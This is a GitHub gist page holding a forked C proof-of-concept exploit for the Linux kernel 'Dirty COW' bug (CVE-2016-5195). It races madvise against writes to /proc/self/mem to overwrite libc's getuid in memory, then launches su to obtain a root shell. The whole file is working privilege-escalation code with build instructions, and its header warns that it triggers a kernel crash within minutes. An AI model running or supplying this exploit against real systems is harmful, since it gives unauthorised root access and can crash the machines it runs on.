Skip to content

Instantly share code, notes, and snippets.

@selftaught
Forked from scumjr/dirtycow-mem.c
Created December 13, 2016 06:21
Show Gist options
  • Save selftaught/24a53fef678e7a32edbded6d59c917f6 to your computer and use it in GitHub Desktop.
Save selftaught/24a53fef678e7a32edbded6d59c917f6 to your computer and use it in GitHub Desktop.

Revisions

  1. @scumjr scumjr created this gist Oct 21, 2016.
    265 changes: 265 additions & 0 deletions dirtycow-mem.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,265 @@
    /*
    * CVE-2016-5195 dirtypoc
    *
    * This PoC is memory only and doesn't write anything on the filesystem.
    * /!\ Beware, it triggers a kernel crash a few minutes.
    *
    * gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
    */

    #define _GNU_SOURCE
    #include <err.h>
    #include <dlfcn.h>
    #include <stdio.h>
    #include <fcntl.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <limits.h>
    #include <pthread.h>
    #include <stdbool.h>
    #include <sys/mman.h>
    #include <sys/stat.h>
    #include <sys/user.h>
    #include <sys/wait.h>
    #include <sys/types.h>


    #define SHELLCODE "\x31\xc0\xc3"
    #define SPACE_SIZE 256
    #define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6"
    #define LOOP 0x1000000

    #ifndef PAGE_SIZE
    #define PAGE_SIZE 4096
    #endif

    struct mem_arg {
    struct stat st;
    off_t offset;
    unsigned long patch_addr;
    unsigned char *patch;
    unsigned char *unpatch;
    size_t patch_size;
    bool do_patch;
    void *map;
    };


    static int check(bool do_patch, const char *thread_name)
    {
    uid_t uid;

    uid = getuid();

    if (do_patch) {
    if (uid == 0) {
    printf("[*] patched (%s)\n", thread_name);
    return 1;
    }
    } else {
    if (uid != 0) {
    printf("[*] unpatched: uid=%d (%s)\n", uid, thread_name);
    return 1;
    }
    }

    return 0;
    }


    static void *madviseThread(void *arg)
    {
    struct mem_arg *mem_arg;
    size_t size;
    void *addr;
    int i, c = 0;

    mem_arg = (struct mem_arg *)arg;
    addr = (void *)(mem_arg->offset & (~(PAGE_SIZE - 1)));
    size = mem_arg->offset - (unsigned long)addr;

    for(i = 0; i < LOOP; i++) {
    c += madvise(addr, size, MADV_DONTNEED);

    if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
    break;
    }

    if (c == 0x1337)
    printf("[*] madvise = %d\n", c);

    return NULL;
    }

    static void *procselfmemThread(void *arg)
    {
    struct mem_arg *mem_arg;
    int fd, i, c = 0;
    unsigned char *p;

    mem_arg = (struct mem_arg *)arg;
    p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch;

    fd = open("/proc/self/mem", O_RDWR);
    if (fd == -1)
    err(1, "open(\"/proc/self/mem\"");

    for (i = 0; i < LOOP; i++) {
    lseek(fd, mem_arg->offset, SEEK_SET);
    c += write(fd, p, mem_arg->patch_size);

    if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
    break;
    }

    if (c == 0x1337)
    printf("[*] /proc/self/mem %d\n", c);

    close(fd);

    return NULL;
    }

    static int get_range(unsigned long *start, unsigned long *end)
    {
    char line[4096];
    char filename[PATH_MAX];
    char flags[32];
    FILE *fp;
    int ret;

    ret = -1;

    fp = fopen("/proc/self/maps", "r");
    if (fp == NULL)
    err(1, "fopen(\"/proc/self/maps\")");

    while (fgets(line, sizeof(line), fp) != NULL) {
    sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);

    if (strstr(flags, "r-xp") == NULL)
    continue;

    if (strstr(filename, "/libc-") == NULL)
    continue;
    //printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename);
    ret = 0;
    break;
    }

    fclose(fp);

    return ret;
    }

    static void getroot(void)
    {
    execlp("su", "su", NULL);
    err(1, "failed to execute \"su\"");
    }

    static void exploit(struct mem_arg *mem_arg, bool do_patch)
    {
    pthread_t pth1, pth2;

    printf("[*] exploiting (%s)\n", do_patch ? "patch": "unpatch");

    mem_arg->do_patch = do_patch;

    pthread_create(&pth1, NULL, madviseThread, mem_arg);
    pthread_create(&pth2, NULL, procselfmemThread, mem_arg);

    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    }

    static unsigned long get_getuid_addr(void)
    {
    unsigned long addr;
    void *handle;
    char *error;

    dlerror();

    handle = dlopen("libc.so.6", RTLD_LAZY);
    if (handle == NULL) {
    fprintf(stderr, "%s\n", dlerror());
    exit(EXIT_FAILURE);
    }

    addr = (unsigned long)dlsym(handle, "getuid");
    error = dlerror();
    if (error != NULL) {
    fprintf(stderr, "%s\n", error);
    exit(EXIT_FAILURE);
    }

    dlclose(handle);

    return addr;
    }

    int main(int argc, char *argv[])
    {
    unsigned long start, end;
    unsigned long getuid_addr;
    struct mem_arg mem_arg;
    struct stat st;
    pid_t pid;
    int fd;

    if (get_range(&start, &end) != 0)
    errx(1, "failed to get range");

    printf("[*] range: %lx-%lx]\n", start, end);

    getuid_addr = get_getuid_addr();
    printf("[*] getuid = %lx\n", getuid_addr);

    mem_arg.patch = malloc(sizeof(SHELLCODE)-1);
    if (mem_arg.patch == NULL)
    err(1, "malloc");

    mem_arg.unpatch = malloc(sizeof(SHELLCODE)-1);
    if (mem_arg.unpatch == NULL)
    err(1, "malloc");

    memcpy(mem_arg.unpatch, (void *)getuid_addr, sizeof(SHELLCODE)-1);
    memcpy(mem_arg.patch, SHELLCODE, sizeof(SHELLCODE)-1);
    mem_arg.patch_size = sizeof(SHELLCODE)-1;
    mem_arg.do_patch = true;

    fd = open(LIBC_PATH, O_RDONLY);
    if (fd == -1)
    err(1, "open(\"" LIBC_PATH "\")");
    if (fstat(fd, &st) == -1)
    err(1, "fstat");

    mem_arg.map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
    if (mem_arg.map == MAP_FAILED)
    err(1, "mmap");
    close(fd);

    printf("[*] mmap %p\n", mem_arg.map);

    mem_arg.st = st;
    mem_arg.offset = (off_t)((unsigned long)mem_arg.map + getuid_addr - start);

    exploit(&mem_arg, true);

    pid = fork();
    if (pid == -1)
    err(1, "fork");

    if (pid == 0) {
    getroot();
    } else {
    sleep(2);
    exploit(&mem_arg, false);
    if (waitpid(pid, NULL, 0) == -1)
    warn("waitpid");
    }

    return 0;
    }